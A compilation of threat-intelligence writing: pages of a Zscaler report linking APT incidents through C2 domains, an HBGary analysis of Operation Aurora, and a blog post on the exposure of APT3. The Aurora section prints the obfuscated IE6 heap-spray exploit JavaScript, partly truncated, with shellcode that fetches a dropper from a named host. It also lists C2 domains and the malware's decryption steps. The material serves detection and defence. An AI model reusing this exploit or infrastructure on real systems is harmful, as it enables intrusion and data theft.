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Page 10 Examples of CCs used in this infection variant include: WWW.SAVAGECOUNTY.NET LOOK.CAPTAINSABERTOOTH.NET GEOINFO.SERVEHTTP.COM ROSE.OFFICESKYLINE.COM WWW.CAREERCHALLENGES.NET OFFER.AMERICAMS.N Section 3: Incident Inter-Relationships There are a number of domains and IP addresses that have been tied to the previously mentioned incidents.
Toward the beginning of the report it was stated that we believed all of these incidents to be related.
As has already been seen, there are some similarities across the incidents, such as same victim organization, similar beaconing data blocks, and infection believed to be from malicious email attachments.
However, the strongest evidence for their relationship is the fact that related domains and IPs are used for CCs across these incidents.
Alleged APT Intrusion Set: 1.php Group 2011 Zscaler.
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Page 11 The following Figure 3 - Link-Graph of 1.php Incident Inter-Relationship provides this illustration with only a small snippet of information from these incidents: firehappy.sytes.net seablow.net dreamlifes.net coffeelaunch.com enjoyholidays.net sportgameinfo.com allmydearfriends.com jobcall.org geoinfo.servehttp.com savagecounty.net captainsabertooth.net officeskyline.com Zhang, Yao hua Registration details ICP100.net nmaeservers 98.126.69.3 178.63.130.197 DOMAIN qinetiq qnao HOSTNAME IP RESOLUTION OSINT 1.php Incidents 2.1 Incidents superdogdream.com free tastfine house do: dream smart rose image Example of Possible Victim Names 46.4.209.130 www look 2.2 Incidents 2.3 Incidents Figure 3 - Link-Graph of 1.php Incident Inter-Relationship Alleged APT Intrusion Set: 1.php Group 2011 Zscaler.
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Page 12 3.1 Possible Relationship to Other APT Incidents Past experience with APT-style incidents show that hostnames may be used to identify the CC for particular victims of interest.
For example, in bakerhughes.thruthere.net9  was a CC used against Baker Hughes in the disclosed Night Dragon10  attacks.
There have been a number of interesting hostnames used with 1.php CC domains that may indicate other potential victims.
These hostnames potentially identify victims within the US Government (USG), Defense Industrial Base (DIB), and Geospatial industry.
The above link-graph provides one example of such an entity that has information about its attacks already disclosed in the open-source (QinetiQ).
QINETIQ or QNAO (QinetiQ North America Operations) for example, was an HBGary customer.
HBGary supported QinetiQ in detection and analysis of on-going targeted attacks against them.
Following the Anonymous compromise and leakage of HBGary information, there is significant information in the public domain regarding the attacks against QinetiQ.
One such example is HBGarys Incident Response Technical Report Supplement for QinetiQ11 .
Page 8 of that report, in the History of the strain section states: HBGary has code-named this threat group as Soysauce.
This group is also known as Comment Crew by some, and also as GIF89a by some.
The choice of codename is completely arbitrary in this context and is simply meant to identify a group of Chinese hackers who have a consistent agenda to target the defense industrial complex.
The name Comment Crew and GIF89a has been used by researchers because of the behavior of this group to enclose CC commands within comments on HTML pages or hidden within image files, a technique known as steganography.
These indicators have not been witnessed in the attacks previously listed in this report.
Beyond a likely QinetiQ attack relation, there are a number of other hostnames that indicate potential attack targets of the 1.php Group.
Disclosure of other possible victim names is intentionally omitted from this report.
9.
http://hbgary.anonleaks.ch/greg_hbgary_com/2505.html 10.
http://www.mcafee.com/in/resources/white-papers/wp-global-energy-cyberattacks-night-dragon.pdf 11.
http://publicintelligence.info/HBGary-QinetiQ.pdf There have been a number of interesting hostnames used with 1.php CC domains that may include other potential victims.
-Zscaler ThreatLabZ Alleged APT Intrusion Set: 1.php Group 2011 Zscaler.
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Page 13 Section 4: Lessons Learned A number of lessons can be learned from analyzing incidents within this intrusion set.
In the following section, we will discuss analytical techniques that enterprises should be adopting, in order to uncover similar attacks on their organizations.
4.1 Conduct logging and analytics within your environment This report shows an evolution of the beaconing behavior from the 1.php Group.
Relying solely on existing signatures of known threats would not have triggered detections.
By identifying transactions that are anomalous, it is possible to detect previous or recurring incidents, such as those identified above.
Some of the anomalies, which led to the findings in this report, include: HTTP version 1.0 requests with version 1.1 responses Numerous transactions to an unknown / uncategorized domain Some of these transactions were to No-IP dynamic DNS domains Blocking or heavily monitoring the communication to dynamic DNS domains is recommended Some of these domains were parked Transactions occur during non-standard times (nights / weekends) Some transactions (in particular the GET beacons) had a larger request size than response size Microsoft IE 6 user-agent (UA) string usage in an environment that does not typically use this UA Alleged APT Intrusion Set: 1.php Group 2011 Zscaler.
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Page 14 4.2 Correlate with other sources By leveraging data sources such as passive DNS, domain registration information, other open-source reports, and other research - it is possible to derive information about probable domains and infrastructure used, in other attacks by the same group of attackers.
In some cases, this information may provide indicators as to the targets or purpose of the attacks.
It should also be noted that making too many assumptions or believing unverified indicators as fact can lead to misleading information.
Anyone can set a hostname for a CC to be QINETIQ for example.
However, by correlating these domains with a group that has been identified as being involved in APT attacks, provides a stronger indication into their possible target.
4.3 APTs are not always that Advanced The above incident reports document (spear-) phishing with a malicious PDF attachment, or link to a binary executable with a Poison Ivy RAT payload.
While the exploitation used in some of the crafted PDF attachments may be considered advanced, for the most part the attack is one of social-engineering.
This is nothing new and something that other fraudsters / criminals have been leveraging for many years.
RSA recently wrapped up their APT summit and their first finding concluded that the attack vector [is] shifting from technology to people.12 4.4 APTs are not limited to the United States Government or Defense Industrial Base The victim related to this report is neither a Government agency, nor an entity that would normally be associated with the Defense Industrial Base.
While this report does list USG (United State Government) and DIB (Defense Industrial Base) entities as possible victims, there are many more commercial entities within the Geospatial and Telecommunication industries that appear to have been victims of this Group.
Zscaler has noted both foreign and domestic entities that have been victims of other APT incidents as well.
12.
http://www.rsa.com/summitresults While the exploitation used in some of the crafted PDF attachments may be considered advanced, for the most part the attack is one of social-engineering.
-Zscaler ThreatLabZ Alleged APT Intrusion Set: 1.php Group 2011 Zscaler.
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Page 15 4.5 APT Information Disclosure Remains a Challenge Incident Information Disclosure is an extension to the heated debate around vulnerability information disclosure, and full-disclosure versus responsible-disclosure.
Responsible-disclosure is fairly well defined and adopted within the vulnerability space, but it is not within the incident space.
Here are some arguments for full disclosure of incident information: A larger community of awareness (and thus potential detection possibility), particularly if there are more organizations impacted A general philosophy that information should be public and that the Government or information security community should not have secrets kept from the public The public should be made aware of which organizations have been victimized so that this information and their response can be weighed before trusting them again in the future Public release will cause the attacker to alter their TTPs and possibly allow them to make changes to infected systems prior to incident response action, making detection more difficult Public release of information can be viewed as attempting to garner the spotlight for financial motives versus genuine concerns about security There may be law enforcement (or other) investigations that are on-going and such a release of information could compromise the investigation Zscaler adheres to the following general principals for incident/ vulnerability disclosure: Customer specific information is disclosed only to the impacted customer Here are some arguments for responsible disclosure (the selective release of information to specific parties) of incident information Alleged APT Intrusion Set: 1.php Group 2011 Zscaler.
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Page 16 Customer information will be redacted prior to public disclosure or disclosure to other impacted parties, stake-holders, and trusted groups within the information security community Public disclosure will provide high-level indicators of compromise (such as general network behavior and malicious domains) without the release of specifics as to which organizations were impacted and is done so when it is believed that such information will benefit others in protecting against similar threats Based on feedback/approval from the impacted parties, stake-holders, and information security community  additional information may be released to the public Zscaler is willing to share additional details of the incidents discussed in this report with trusted groups within the information security community to help further their research with regard to similar incidents.
If you are interested in sharing data on this and other incidents, we encourage you to contact us at threatlabzzscaler.com.
Conclusion By interrogating Zscalers comprehensive logging repository for anomalous activity and indicators of compromise, a Zscaler ThreatLabZ researcher identified a high-risk entity victimized by a possible APT attack linked to the 1.php Group.
The conclusion that these attacks should be classified as an APT attack are based on the following indicators: The victim enterprise is a high risk target, involved in an industry that has regularly been targeted in similar attacks Linkages were identified among several previous incidents from 2010 to present, showing persistence There remains little to no open-source information on the domains / IPs used in the attack, and the linkage to open-source reports shows a correlation with past APT incidents Alleged APT Intrusion Set: 1.php Group 2011 Zscaler.
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Page 17 The RAT payload in question is popular among previously documented APT incidents Some No-IP dynamic DNS domains used (while a weak APT indicator, dynamic DNS domains have often been used among documented APT incidents, such as Aurora and Night Dragon) Hostnames related to victims are used, which is a technique previously documented in other APT attacks Nameserver and domain registration information indicates likely Chinese origin of attacks VPS/hosting servers used match some of those previously used in alleged APT attacks.
The sum of these indicators has led to our conclusion that this was an attack performed over a significant period of time that focused on a specific target, given the sensitive nature of their work.
Based on information in the public domain, it appears that these attacks correlate with others, previously identified as being the work of the 1.php Group.
Identified targets of these attacks include China/US relations experts, USG / DIB entities, and the Geospatial industry.
Based on the targets, it is our belief that corporate espionage was the goal of the attacks.
Open-source reports suggest that these attacks are more widespread than many realize and that the same or similar actors are compromising numerous organizations in order to steal sensitive intellectual property.
As stated within the Lessons Learned section, it is important that those concerned about such attacks be vigilant in their log collection and analysis to identify anomalies or other indications of compromise.
The sum of these indicators has led to our conclusion that this was an attack performed over a significant period of time that focused on a specific target, given the sensitive nature of their work.
-Zscaler ThreatLabZ Alleged APT Intrusion Set: 1.php Group 2011 Zscaler.
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Page 18 About Zscaler: The Cloud Security Company Zscaler enforces business policy, mitigates risk and provides twice the functionality at a fraction of the cost of current solutions, utilizing a multi-tenant, globally-deployed infrastructure.
Zscalers integrated, cloud-delivered security services include Web Security, Mobile Security, Email Security and DLP.
Zscaler services enable organizations to provide the right access to the right users, from any place and on any deviceall while empowering the end-user with a rich Internet experience.
About Zscaler ThreatLabZ ThreatLabZ is the global security research team for Zscaler.
Leveraging an aggregate view of billions of daily web transaction, from millions of users across the globe, ThreatLabZ identifies new and emerging threats as they occur, and deploys protections across the Zscaler Security Cloud in real time to protect customers from advanced threats.
For more information, visit www.zscaler.com.
OPERATION AURORA DETECT,  D IAGNOSE,  RESPOND Jan 27, 2010 \ Cyber Espionage is a critical issue.
Over 80 of intellectual property is stored online digitally.
The computing infrastructure in a typical Enterprise is more vulnerable to attack than ever before.
Current security solutions are proving ineffective at stopping cyber espionage.
Malware is the single greatest problem in computer security today.
Yet, malware represents only the tip of the spear.
The true threat is the human being who is operating the malware.
This human, or the organization he represents, is the true threat that is targeting information for the purposes of financial gain, theft of state secrets, and theft of intellectual property.
True threat intelligence requires reaching beyond malware infections to identify the individuals, country of origin, and intent of the attacker.
THREAT SUMMARY The Aurora malware operation was identified recently and made public by Google and McAfeei.
This malware operation has been associated with intellectual property theft including source code and technical diagrams (CAD, oil exploration bid-data, etc).
Companies hit have been publically speculated, including Google, Adobe, Yahoo, Symantec, Juniper Systems, Rackspace, Northrop Grumman, ExxonMobil, ConocoPhillips, and Dow Chemical.
The malware package used with Aurora is mature and been in development since at least 2006.
The Aurora operation is characterized by a remotely operated backdoor program that persists on a Windows computer.
This backdoor program has several capabilities that are outline below.
KEY FINDINGS Evidence collected around the malware operation suggest that Operation Aurora is simply an example of highly effective malware penetration.
There is not significant evidence to attribute the operation directly to the Chinese Government.
However, a key actor has been identified in association with Operation Aurora.
Aspect Description Target The operation is targeting intellectual property with no specific industry focus.
This is an example of not knowing what they are looking for until they find it.
Origin It is highly probable that the malware was developed in native Chinese language, and the operation control system is designed for Chinese users, indicating the entire operation is Chinese.
This does not, however, mean the Chinese Government is using the system.
Developers Forensic tool-marks in the CRC algorithm can be traced to Chinese origin.
That, combined with domain registration information, leads to at least one potential actor, Peng Yongii.
The malware has been in development since at least 2006.
It has been updated several times.
Operators Operators of the malware appear to use certain domains for CC control.
Dynamic DNS is a key feature of the operation, with many known CC servers operating from domains registered through Peng Yongs 3322.org service.
Intent The primary intent is the theft of intellectual property.
Coms Communication is encrypted over HTTP, port 443, obfuscated with a weak encryption scheme.
The CC servers tend to operate from domains hosted on dynamic DNS.
ATTRIBUTION At this time, there is very little available in terms of attribution.
A CRC algorithm tends to indicate the malware package is of Chinese origin, and many attacks are sourced out of a service called 3322.org - a small company operating out of Changzhou.
The owner is Peng Yong, a Mandarin speaker who may have some programming background with such algorithms.
His dynamic DNS service hosts over 1 million domain names.
Over the last year, HBGary has analyzed thousands of distinct malware samples that communicate with 3322.org.
While Peng Yong is clearly tolerant of cyber crime operating through his domain services, this does not indicate he has any direct involvement with Aurora.
Toolmark Description Embedded Resource Language Code UNITED STATES CRC Algorithm Table of Constants Embedded systems / Chinese publicationiii DNS registration services Peng Yong, others DETECT This section of the report details how you can detect Operation Aurora in your Enterprise.
The exploit and payload vehicle consists of the following components: Javascript based exploit vector, known to exploit IE 6 Shellcode component, embedded in the Javascript Secondary payload server that delivers a dropper The dropper itself, which only used once and then deleted The backdoor program which is decompressed from the dropper JAVASCRIPT AND SHELLCODE The JavaScript based attack vector associated with Operation Aurora was published in the public domain in early January 2010.
Microsoft details the vulnerability in Security Bulletin MS10-002.
Internet Explorer 5.01, Internet Explorer 6, Internet Explorer 6 Service Pack 1, Internet Explorer 7, and Internet Explorer 8 (except Internet Explorer 6 for supported editions of Windows Server 2003) are affected.
Exploit code analyzed by HBGary reveals that only Internet Explorer 6 was targeted during Operation Aurora.
This vulnerability can be leveraged by attackers of varying skill levels due to the public availability of the Metasploit module ie_aurora.rb .
The exploit code used by the original attackers was quickly improved and added to Metasploit thus greatly expanding the potential number of attackers and reliability of code.
The JavaScript performs a heap spray attack and injects the embedded shellcode described below.
The JavaScript exploits the vulnerability in Internet Explorer by copying, releasing, and then referencing a Document Object Model (DOM) element.
Javascript Exploit Code html head script var sc unescape(u9090u19ebu4b5bu3390u90c9u7b80ue901u0175u66c3u7bb9u8004u0b34ue2d8uebfaue805uffe2uffffu3931ud8dbu87 d8u79bcud8e8ud8d8u9853u53d4uc4a8u5375ud0b0u2f53ud7b2u3081udb59ud8d8u3a48ub020ueaebud8d8u8db0ubdabu8caau9e53 u30d4uda37ud8d8u3053ud9b2u308 SECTION REMOVED FOR SPACE... 8udfa7ufa4auc6a8ubc7cu4b37u3ceau564cud2cbua174u3ee1u1c40uc755u8facud5beu9b27u7466u4003uc8d2u5820u770eu2342 ucd8bub0beuacacue2a8uf7f7ubdbcub7b5uf6e9uacbeub9a8ubbbbuabbduf6abubbbbubcf7ub5bduf7b7ubcb9ub2f6ubfa8u00d8) var sss  Array (826, 679, 798, 224, 770, 427, 819, 770, 707, 805, 693, 679, 784, 707, 280, 238, 259, 819, 336, 693, 336, 700, 259, 819, 336, 693, 336, 700, 238, 287, 413, 224, 833, SECTION REMOVED FOR SPACE... 735, 427, 336, 413, 735, 420, 350, 336, 336, 413, 735, 301, 301, 287, 224, 861, 840, 637, 735, 651, 427, 770, 301, 805, 693, 413, 875) var arr  new Array for (var i  0 i  sss.length i ) arr[i]  String.fromCharCode (sss [i] / 7)  var cc  arr.toString () cc  cc.replace (/,/g, ) cc  cc.replace (//g, ,) eval (cc) var x1  new Array () for (i  0 i  200 i ) x1 [i]  document.createElement (COMMENT) x1 [i].data  abc  var e1  null function ev1 (evt)  e1  document.createEventObject (evt) document.getElementById (sp1).innerHTML window.setInterval (ev2, 50)  function ev2 ()  p   \u0c0d\u0c0d\u0c0d\u0c0d\u0c0d\u0c0d\u0c0d\u0c0d\u0c0d\u0c0d\u0c0d\u0c0d\u0c0d\u0c0d\u 0c0d\u0c0d\u0c0d\u0c0d\u0c0d\u0c0d\u0c0d\u0c0d\u0c0d\u0c0d\u0c0d\u0c0d\u0c0d\u0c0d\u0c0 d\u0c0d\u0c0d\u0c0d\u0c0d\u0c0d\u0c0d\u0c0d\u0c0d\u0c0d\u0c0d\u0c0d\u0c0d\u0c0d for (i  0 i  x1.length i ) x1 [i].data  p  var t  e1.srcElement  /script /head body span idsp1IMG SRCaaa.gif onloadev1(event) width16 height16/span /body /html JavaScript Artifacts Pattern Initial encrypted dropper download.
Deleted file.
C:\appdata\a.exe Decrypted dropper.
Deleted file.
C:\appdata\b.exe JavaScript present in Internet Explorer memory space.
code listed above Download URL present in internet history during memory analysis.
http://demo1.ftpaccess.cc/demo/ad.jpg Other domains associated with Aurora.
sl1.homelinux.org 360.homeunix.com ftp2.homeunix.com update.ourhobby.com blog1.servebeer.com The shellcode exists as a Unicode escaped variable (sc) in the malicious JavaScript listed below.
Upon successful exploitation of Internet Explorer, the shellcode will download an obfuscated second stage executable from http://demo1.ftpaccess.cc/demo/ad.jpg which is the dropper.
Note: these files are specific to the sample we analyzed at HBGary, Inc.
The attackers must use a second stage download mechanism to achieve full system access due to memory constraints.
It is unlikely that the final payload could be delivered through the original exploit given these conditions.
The dropper is XOR encrypted with a 0x95 key.
The shellcode copies this encrypted binary to the users AppData directory as a.exe.
The shellcode then decrypts a.exe and moves it to b.exe in the same directory.
Then b.exe is executed.
The following actionable intelligence can be used to identify exploit remnants in the heap space of Internet Explorer post exploitation attempt.
These patterns can be searched for when doing memory analysis of a victim system.
Shellcode Artifacts Pattern Self-decrypting code using a constant XOR value.
80 34 0B D8 80 34 0B D8 Kernel32.dll searching code.
64 A1 30 00 00 00 8B 40 0C 8B 70 1C Push Urlmon string to stack using two push statements.
68 6F 6E 00 00 68 75 72 6C 6D The following SNORT rules have been released by the Emerging Threats project to detected the final payload command and control communications.
Network Detection Signatures alert tcp HOME_NET any - EXTERNAL_NET 443 (msg:ET TROJAN Aurora Backdoor (CC) client connection to CnC flow:established,to_server content:ff ff ff ff ff ff 00 00 fe ff ff ff ff ff ff ff ff ff 88 ff depth:20 flowbits:set,ET.aurora.init classtype:trojan-activity reference:url,www.trustedsource.org/blog/373/An-Insight- into-the-Aurora-Communication-Protocol reference:url,doc.emergingthreats.net/2010695 reference:url,www.emergingthreats.net/cgi-bin/cvsweb.cgi/sigs/VIRUS/TROJAN_Aurora sid:2010695 rev:2) alert tcp EXTERNAL_NET 443 - HOME_NET any (msg:ET TROJAN Aurora Backdoor (CC) connection CnC response flowbits:isset,ET.aurora.init flow:established,from_server content:cc cc cc cc cd cc cc cc cd cc cc cc cc cc cc cc depth:16 classtype:trojan-activity reference:url,www.trustedsource.org/blog/373/An-Insight-into-the- Aurora-Communication-Protocol reference:url,doc.emergingthreats.net/2010696 reference:url,www.emergingthreats.net/cgi-bin/cvsweb.cgi/sigs/VIRUS/TROJAN_Aurora sid:2010696 rev:2) DROPPER The initial dropper is merely a detonation package that decompresses an embedded DLL into the Windows system32 directory and loads it as a service.
The initial dropper is likely to be packed (UPX, etc).
The dropper has an embedded DLL that is decompressed to the windows system32 directory.
This DLL will be named to resemble existing services (rasmon.dll, etc).
In order to evade forensics, the file-time of the dropped DLL will be modified to match that of an existing system DLL (user32.dll, etc).
The dropped DLL is loaded into its own svchost.exe process.
Several registry keys are created and then deleted as part of this process.
Finally, the dropper deletes itself from the system by using a dissolving batch file (DFS.BAT, etc).
PAYLOAD The payload uses two-stage installation.
During stage one, the dropper will install the payload as a service running under the name Ups???
(
where ??
?
are three random characters).
Once executing, the payload will immediately delete the first service and enter stage-two.
During stage-two, the payload will register a new, second service under the name RaS???
(
where ??
?
are three random characters).
This new service will point to the same backdoor DLL, no new files are involved.
Note: the three character prefixes Ups and RaS can easily be modified by the attacker.
Once the new service is registered, the payload will access an embedded resource that is encrypted.
The decryption goes through several phases.
The encrypted data block contains the DNS name for the command and control server (homeunix.com, etc).
This data block is configurable before the malware is deployed.
The data block length is hard-coded (0x150 or 336 bytes).
During phase one, this data block is fed through a simple XOR (0x99), resulting in an ASCII-string.
Next, the resulting ASCII-string is fed into a base64 decoding function, producing a binary string.
Finally, the resulting base64 decoded binary string is fed through another XOR (0xAB), resulting in clear-text.
The three primary encryption loops are colored and marked in Figure 1.
The resulting clear-text buffer contains several fields in both ASCII and UNICODE, including the CC server address.
Actionable Intelligence Pattern CC Server DNS .homeunix.com (where  is any subdomain) .homelinux.com .ourhobby.com .3322.org .2288.org .8866.org .ath.cx .33iqst.com .dyndns.org .linode.com .ftpaccess.cc .filoups.info .blogsite.org The payload will create additional registry keys.
Actionable Intelligence Pattern Additional Key HKLM\Software\Sun\1.1.2\IsoTp Additional Key HKLM\Software\Sun\1.1.2\AppleTlk Actionable Intelligence Pattern Service Key  Value Note: deleted after drop SOFTWARE\Microsoft\Windows NT\CurrentVersion\SvcHost\ Value: SysIns  Data: Ups???
(??
?
are three random chars) Path to backdoor Note: deleted after stage 1 SYSTEM\CurrentControlSet\Services\Ups??
?\Parameters\ Value: ServiceDLL  Data: (full path to the backdoor) Path to backdoor Note: persistent SYSTEM\CurrentControlSet\Services\RaS??
?\Parameters\ Value: ServiceDLL  Data: (full path to the backdoor) Potential variation SYSTEM\CurrentControlSet\Services\RaS??
?\Parameters\ Value: ServiceDLL  Data: temp\c_.nls (where  is a number) Potential variation SYSTEM\CurrentControlSet\Services\RaS??
?\Parameters\ Value: ServiceDLL  Data: temp\c_1758.nls GLANCE UNDER THE HOOD buffer after phase one XOR: mJ2bhcPExs7excLThcjExqurnauYq buffer after base64 decoding:  Other potential dropped files, as reported by McAfee: Actionable Intelligence Pattern Additional File securmon.dll Additional File AppMgmt.dll Additional File A0029670.dll (A00.dll) Additional File msconfig32.sys Additional File VedioDriver.dll Additional File acelpvc.dll Additional File wuauclt.exe Additional File jucheck.exe Additional File AdobeUpdateManager.exe Additional File zf32.dll COMMAND AND CONTROL The payload communicates with its command and control server over port 443.
The source port is randomly selected.
While outbound traffic appears to be HTTPS, the actual traffic uses a weak custom encryption scheme.
The command and control packets have a very specific formativ.
The payload section is encrypted with a key selected by using GetTickCount.
This means each infected node has its own key.
The key is embedded in the header of the packet, and is easily recovered.
DIAGNOSE HOW THE MALWARE WORKS The primary control logic can be found in the module registered under the service key (rasmon.dll, etc.
).
This module has been written in c and includes several specific methods and encodings that provide forensic track-ability.
The above screenshot illustrates a REcon(tm) trace on the malware dropper and subsequent service creation.
Location A. represents the dropper program, which unpacks itself and decompresses a file to the system32 directory.
Point B. represents the initial svchost.exe startup, which is loading the malware payload.
Location C. is the actual execution of the malware service, which remains persistent.
At points E. and F. you can see the malware checking in with the command and control server.
Finally, location D. represents the dissolvable batch file which deletes the initial dropper and then itself.
command parameters 0x00000001 payload len CRC KEY payload FIGURE 1  - BASE64  AND XOR ENCRYPTION SCHEME CAPABILITY The malware has generic and flexible capabilities.
There are distinct command handlers in the malware that allow files to be stolen and remote commands to be executed.
The command handler is illustrated in Figure 2.
At location A. the command number is checked.
At locations marked B. are each individual command handler, as controlled by the CC server and command number in the CC packet.
Location C. is where the result of each command is sent back to the CC server.
RECENT GLOBAL ACTIVITY The concentration of the java-script exploit used to deliver Aurora is rising.
The primary source countries are China, Korea, India, and Polandv.
TODO: INSERT DATA FEED STATS HERE.
FIGURE 2  - CC COMMAND PARSER RESPOND Several Enterprise products have the capability to scan for and potentially remove the Aurora malware.
Detection of the malware is covered in detail, from multiple aspects, in the Detect section above.
When using a Digital DNA(tm) capable platform such as McAfee ePO, Guidance EnCase Enterprise, or Verdasys Digital Guardian, you can search the Enterprise for the following Digital DNA sequence (recommend a tight match, 90 or higher).
Digital DNA Sequence for Aurora Malware 01 B4 EE 00 AE DA 00 8C 16 00 89 22 00 46 73 00 C6 49 00 0B AE 01 E7 9F 04 05 81 01 0E DF 01 79 D8 00 25 6A 00 15 49 00 47 22 00 4B 67 0F 2D CC 01 29 67 01 35 99 To thwart command and control and prevent data loss, known CC domains should be blocked at the egress firewall.
The domains listed in the Detect section represent a significant set of those currently known to be operating.
IDS signatures similar to the one illustrated in the Detect section should be used to detect inbound exploit attempts, and machines accepting this data should be scanned for potential infections.
Many A/V products now contain signatures for the Aurora exploit and will be effective in detection and removal.
However, the attackers that represent the threat will not be deterred, and variants of the attack are nearly assured.
Factors Description CC protocol If a variant is developed, it will very likely use the same CC protocol, but may change the header of the packet and the constants used for connection setup.
This will evade IDS / Firewall rules designed to detect the current scheme.
It is unlikely the attackers will change the encryption setup, however.
Installation and Deployment The method used to install the service is highly effective.
Although the filenames will likely change, the actual method will likely remain.
INOCULATION SHOT HBGary has prepared an inoculation shot for this malware.
The inoculation shot is a small, signed binary that will allow you to scan for, and optionally remove, this malware from your Enterprise network.
Remediation and Prevention with the HBGary Inoculation Shot The AuroraInnoculation.exe is a simple WMI-based utility for scanning windows-based machines for the presence of the Aurora APT malware package.
The aurora innoculator also has the option of automatically removing a discovered infection and rebooting the box automatically.
When the aurora innoculator is executed it will query the user for authentication credentials.
Optionally the user can just hit cancel to  use the currently logged on USERs authentication token.
Some sample usages are listed below.
To scan a single machine: AuroraInnoculation.exe -scan 192.168.0.1 or AuroraInnoculation.exe -scan MYBOXNAME To scan multiple machines: AuroraInnoculation.exe -range 192.168.0.1 192.168.0.254 To automatically attempt a clean operation: AuroraInnoculation.exe -range 192.168.0.1 192.168.0.254 -clean To scan a list of machines in a .txt file: AuroraInnoculation.exe -list targets.txt VERDASYS D IGITAL GUARDIAN DG Agents can be used to remediate and prevent further infections within the enterprise without waiting for the development of an AV signature.
In this case: Remediation and Prevention with Digital Guardian A DGUpdate package can be deployed to all agents to perform the file and registry key delete operations to inactivate and remove the malware.
Several control rules can be added to prevent the Aurora malware infection specifically and to generically block other infection vectors: Prevent network operations on remote port 443 if the current process image was launched from APPDATA and registry keys exist in HKLM\Software\Sun\1.1.2\IsoTp or HKLM\Software\Sun\1.1.2\AppleTlk or SOFTWARE\Microsoft\Windows NT\CurrentVersion\SvcHost\SysIns Prevent iexplore.exe from writing files with .exe extensions Prevent files with .exe extensions from being written, copied, moved or renamed into the root of APPDATA Prevent files with .exe extensions from launching in the root of APPDATA Prevent network operations to demo1.ftpaccess.cc Prevent executables launched from the root of APPDATA from performing file open on kernel32.dll Prevent executables launched from the root of APPDATA from writing, copying, moving or renaming files with a .dll extension to SystemRoot\system32 MORE INFORMATION ABOUT HBGARY HBGary, Inc is  the leading provider of solutions to detect, diagnose and respond to advance malware threats in a thorough and forensically sound manner.
We provide the active intelligence that is critical to understanding the intent of the threat, the traits associated with the malware and information that will help make your existing investment in your security infrastructure more valuable.
Corporate Address:  3604 Fair Oaks Blvd Suite 250 Sacramento, CA 95762  Phone:  916-459- 4727  Fax 916-481-1460  Saleshbgary.com ABOUT VERDASYS Verdasys provides Enterprise Information Protection solutions that are the foundation of our customers global data security strategy.
With greater than 2 million security agents deployed at over 150 of the worlds leading organizations, Verdasys is the proven global leader of Enterprise Information Protection and compliance solutions.
Companies serious about information protection choose Verdasys.
Verdasys is headquartered in Waltham, MA.
For more information, go to www.verdasys.com Verdasys Contact: Jamie Warren Verdasys, Inc.
Phone: (781) 902-5685 Email: jwarrenverdasys.com i http://siblog.mcafee.com/cto/operation-E2809CauroraE2809D-hit-google-others/ ii http://www.thetechherald.com/article.php/201004/5151/Was-Operation-Aurora-nothing-more- than-a-conventional-attack iii http://www.fjbmcu.com/chengxu/crcsuan.htm (via: http://www.secureworks.com/research/blog/index.php/2010/01/20/operation-aurora-clues-in- the-code/) iv http://www.avertlabs.com/research/blog/index.php/2010/01/18/an-insight-into-the-aurora- communication-protocol/ v http://www.symantec.com/connect/blogs/trojanhydraq-incident-analysis-aurora-0-day- exploit
intrusiontruth May 22, 2018 The destruction of APT3 intrusiontruth.wordpress.com/2018/05/22/the-destruction-of-apt3/ Twelve months have passed since this blog exposed Wu Yingzhuo, Dong Hao, their company Boyusec and the Chinese Ministry of State Security (MSS) as being behind APT3.
APT3 was, at the time, one of the most damaging APT attacks to hit Western companies.
One year on, we take a look back at what happened after our publication.
The disappearance of APT3 We published our explosive analysis in April and May 2017.
It was the first time that the Chinese Intelligence Services had been conclusively linked to an APT and followed similar revelations, years previously, linking Peoples Liberation Army (PLA) Unit 61398 to APT1.
The Boyusec website went offline the morning after the exposure and it hasnt been back online since.
The morning after, on boyusec.com Boyusec disappeared into the shadows without making any effort to contact us or to refute any of the conclusions of our analysis.
These were not the actions of innocent individuals.
1/4 https://intrusiontruth.wordpress.com/2018/05/22/the-destruction-of-apt3/ https://intrusiontruth.wordpress.com/2017/05/09/apt3-is-boyusec-a-chinese-intelligence-contractor/ https://www.fireeye.com/blog/threat-research/2013/02/mandiant-exposes-apt1-chinas-cyber-espionage-units.html Where did these guys run off to?
Perhaps not proud of their work as APT3?
buckeye gothicpanda apt3 boyusec cyber pic.twitter.com/0lIzSIzxjd Intrusion Truth (intrusion_truth) May 10, 2017 Corroboration by the community A fortnight after our publication, a series of articles appeared online drawing on our work and corroborating it.
Our analysis formed the basis of articles by, among others, Security Week, Dark Reading, Recorded Future, Threat Post and Security Lab.
The Information Security community agreed with our conclusion that Boyusec and MSS were behind the APT3 attacks.
There has been a lot of accumulated evidence that these guys are tied to the state John Hultquist, Director of Analysis at FireEye, said to Foreign Policy magazine.
Threat Post coverage based on Intrusion Truth analysis US Government charges Wu and Dong But the story doesnt quite end there.
Six months after our publications the US Justice Department unsealed indictments against Wu Yingzhuo, Dong Hao and Xia Lei for computer hacking, theft of trade secrets, conspiracy and identity theft.
They had been prepared in September 2017.
Three US victims were identified in the indictment  Trimble, Siemens and Moodys Analytics one for each of the co-conspirators.
2/4 https://twitter.com/hashtag/buckeye?srchashref_srctwsrc5Etfw https://twitter.com/hashtag/gothicpanda?srchashref_srctwsrc5Etfw https://twitter.com/hashtag/apt3?srchashref_srctwsrc5Etfw https://twitter.com/hashtag/boyusec?srchashref_srctwsrc5Etfw https://twitter.com/hashtag/cyber?srchashref_srctwsrc5Etfw https://t.co/0lIzSIzxjd https://twitter.com/intrusion_truth/status/862432218475528192?ref_srctwsrc5Etfw https://www.securityweek.com/apt3-hackers-linked-chinese-ministry-state-security https://www.darkreading.com/attacks-breaches/apt3-threat-group-a-contractor-for-chinese-intelligence-agency/d/d-id/1328913 https://www.recordedfuture.com/chinese-mss-behind-apt3/ https://threatpost.com/apt3-linked-to-chinese-ministry-of-state-security/125750/ https://www.securitylab.ru/news/486182.php http://foreignpolicy.com/2017/11/30/feds-quietly-reveal-chinese-state-backed-hacking-operation/ The indictment document released by the US Government Though the indictments didnt mention the Chinese Government, Justice Department spokesman Wyn Hornbuckle said that prosecutors only included the allegations that we are prepared to prove in court with admissible evidence.
Wu, Dong and Xia are no longer able to travel internationally without fear of arrest and trial.
The maximum sentence for their crimes?
20 years.
Contractors vs employees The Chinese Intelligence Service, MSS, had perhaps tried to be more careful than their military colleagues in the Peoples Liberation Army.
They used commercial hackers rather than government employees, probably thinking that it lent them some additional deniability.
But, given that the company involved was identified as MSS-tasked in any case, that choice may have been a mistake.
As private citizens, Wu, Dong and Xia are vulnerable to action by other countries that may choose to treat them as common criminals rather than government officials.
The three have already been charged by the US government and now risk being arrested, deported, tried and imprisoned.
What happened to APT3?
